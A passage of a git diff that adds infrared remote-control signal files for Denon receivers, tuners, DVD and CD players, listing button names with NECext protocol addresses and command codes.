+address: 08 00 00 00 +command: BB 00 00 00 +# +name: DVD-SELECT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BB 00 00 00 +# +name: DVD-DVD_SETUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BC 00 00 00 +# +name: DVD-TITLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/80,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/80,-1.ir new file mode 100644 index 000000000..5f4bfe73b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/80,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_TV/VCR_(CINEMA) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: TV_VOLUME_^_(CENTER) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: TV_VOLUME_V_(CENTER) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: TV_POWER_(AVSE) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 17 00 00 00 +# +name: TV_CHANNEL_V_(DELAY) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 18 00 00 00 +# +name: TV_CHANNEL_^_(DELAY) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 19 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/96,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/96,-1.ir new file mode 100644 index 000000000..bbe7ae51c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/96,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR_FFWD_>>_(SURR) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: VCR_REW_<<_(2) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0A 00 00 00 +# +name: VCR_STOP_[]_(PARAMTR +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0B 00 00 00 +# +name: VCR_PLAY_>_(CTR_MODE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 14 00 00 00 +# +name: VCR_TV/VCR_(EFFECT) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 16 00 00 00 +# +name: VCR_POWER_(CLEAR) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 17 00 00 00 +# +name: VCR_CHAN_V_(INPT_ADJ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 18 00 00 00 +# +name: VCR_CHAN_^_(T_TONE) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 19 00 00 00 +# +name: VCR_PAUSE_(SET_+) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/97,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/97,-1.ir new file mode 100644 index 000000000..da6c692c9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/97,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR_REC_(PANEL) +type: parsed +protocol: NECext +address: 61 00 00 00 +command: 14 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Tuner/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Tuner/12,-1.ir new file mode 100644 index 000000000..030c40734 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Tuner/12,-1.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: DIGITAL_DBS/BS +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 83 00 00 00 +# +name: DIGITAL_VDP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 84 00 00 00 +# +name: DIGITAL_CD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 85 00 00 00 +# +name: DIGITAL_DAT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 86 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: B9 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: BA 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: BB 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: BC 00 00 00 +# +name: E +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: BD 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: C1 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: C2 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: C3 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: C4 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: C5 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: C6 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: C7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: C7 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: C8 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: CC 00 00 00 +# +name: SHIFT/PTY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: CD 00 00 00 +# +name: SHIFT_PRESET_BANK +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: CD 00 00 00 +# +name: RDS +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D2 00 00 00 +# +name: CT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D3 00 00 00 +# +name: PTY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D4 00 00 00 +# +name: TUNER_CH_V +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D5 00 00 00 +# +name: CH_DN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D5 00 00 00 +# +name: PRESET_CH_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D5 00 00 00 +# +name: PRESET_CH_V +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D5 00 00 00 +# +name: TUNER_CH_^ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D6 00 00 00 +# +name: CH_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D6 00 00 00 +# +name: PRESET_CH_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D6 00 00 00 +# +name: PRESET_CH_^ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D6 00 00 00 +# +name: TUNER_BAND +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D7 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D7 00 00 00 +# +name: TUNER_AT/MANU +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D8 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D8 00 00 00 +# +name: AUTO/MANUAL +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D8 00 00 00 +# +name: AUTO_MUTE/MANU +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D8 00 00 00 +# +name: TUNER_TUNE_^ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D9 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D9 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D9 00 00 00 +# +name: TUNING_^ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D9 00 00 00 +# +name: TUNER_TUNE_V +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DA 00 00 00 +# +name: TUNE_DN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DA 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DA 00 00 00 +# +name: TUNING_V +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DA 00 00 00 +# +name: TUNER_RF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DB 00 00 00 +# +name: RF_ATT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DB 00 00 00 +# +name: TUNER_P.SCAN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DC 00 00 00 +# +name: P.SCAN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DC 00 00 00 +# +name: TUNER_POWER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DD 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DD 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DE 00 00 00 +# +name: PANEL +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DE 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DF 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: F9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Tuner/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Tuner/2,-1.ir new file mode 100644 index 000000000..0463d5f36 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Tuner/2,-1.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: CD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C4 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C5 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C6 00 00 00 +# +name: DBS/BS +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C8 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C9 00 00 00 +# +name: VDP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CA 00 00 00 +# +name: V.AUX +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CC 00 00 00 +# +name: VCR-1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CD 00 00 00 +# +name: VCR-2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CE 00 00 00 +# +name: TAPE-1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D2 00 00 00 +# +name: DAT/TAPE-2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D3 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F0 00 00 00 +# +name: MASTER_^ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F1 00 00 00 +# +name: MASTER_V +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown/176,0.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown/176,0.ir new file mode 100644 index 000000000..21d82c08f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown/176,0.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP_[] +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 00 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 01 00 00 00 +# +name: STILL/PAUSE_>< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 06 00 00 00 +# +name: SLOW_< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 07 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 0A 00 00 00 +# +name: SLOW_> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 0F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 19 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 33 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 3D 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 48 00 00 00 +# +name: SKIP/SEARCH_<< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 49 00 00 00 +# +name: SKIP/SEARCH_>> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 80 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 81 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 82 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 83 00 00 00 +# +name: CURSOR_^ +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 85 00 00 00 +# +name: CURSOR_V +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 86 00 00 00 +# +name: CURSOR_< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 87 00 00 00 +# +name: CURSOR_> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 88 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8C 00 00 00 +# +name: PLAY_MODE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8D 00 00 00 +# +name: MARKER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8E 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 90 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 91 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 92 00 00 00 +# +name: OFF/ON +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 93 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 94 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir new file mode 100644 index 000000000..1a8f7db87 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 02 00 00 00 +# +name: Remain +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 03 00 00 00 +# +name: A.Edit +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 04 00 00 00 +# +name: Tuner_Band +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 07 00 00 00 +# +name: Tape_1/2 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 09 00 00 00 +# +name: P.Mode +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 0B 00 00 00 +# +name: EQ_Pattern +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 11 00 00 00 +# +name: CD_Play +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 12 00 00 00 +# +name: CD_Stop +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 13 00 00 00 +# +name: Skip_Forward +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 14 00 00 00 +# +name: Skip_Backward +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 15 00 00 00 +# +name: Prog +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 16 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 17 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 18 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 19 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 1A 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 1B 00 00 00 +# +name: Fast_Rewind +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 1C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 1D 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 1F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 4D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 4E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 4F 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 50 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 51 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 52 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 53 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 54 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 55 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 56 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 57 00 00 00 +# +name: Random +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 5A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 5B 00 00 00 +# +name: Disc +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir new file mode 100644 index 000000000..eac25661a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 42 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 43 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 44 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 45 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 46 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 47 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 48 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 49 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4B 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4C 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4F 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 50 00 00 00 +# +name: call +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 52 00 00 00 +# +name: rep_all +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 54 00 00 00 +# +name: rep_a-b +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 55 00 00 00 +# +name: direct +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 57 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: bwd +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir new file mode 100644 index 000000000..4ab842fb0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 41 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 42 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 43 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 44 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 45 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 46 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 47 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 48 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 49 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4C 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4F 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 50 00 00 00 +# +name: call +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 52 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 54 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5E 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6A 00 00 00 +# +name: fader +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 76 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir new file mode 100644 index 000000000..9160c42de --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 42 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 43 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 43 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 44 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 45 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 46 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 47 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 48 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 49 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4B 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4F 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 50 00 00 00 +# +name: call +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 52 00 00 00 +# +name: all +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 54 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 55 00 00 00 +# +name: direct +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 57 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: wind +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5E 00 00 00 +# +name: a_space +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 61 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir new file mode 100644 index 000000000..47a2cf420 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 00 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 01 00 00 00 +# +name: Rev +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 04 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 05 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 06 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 0A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext 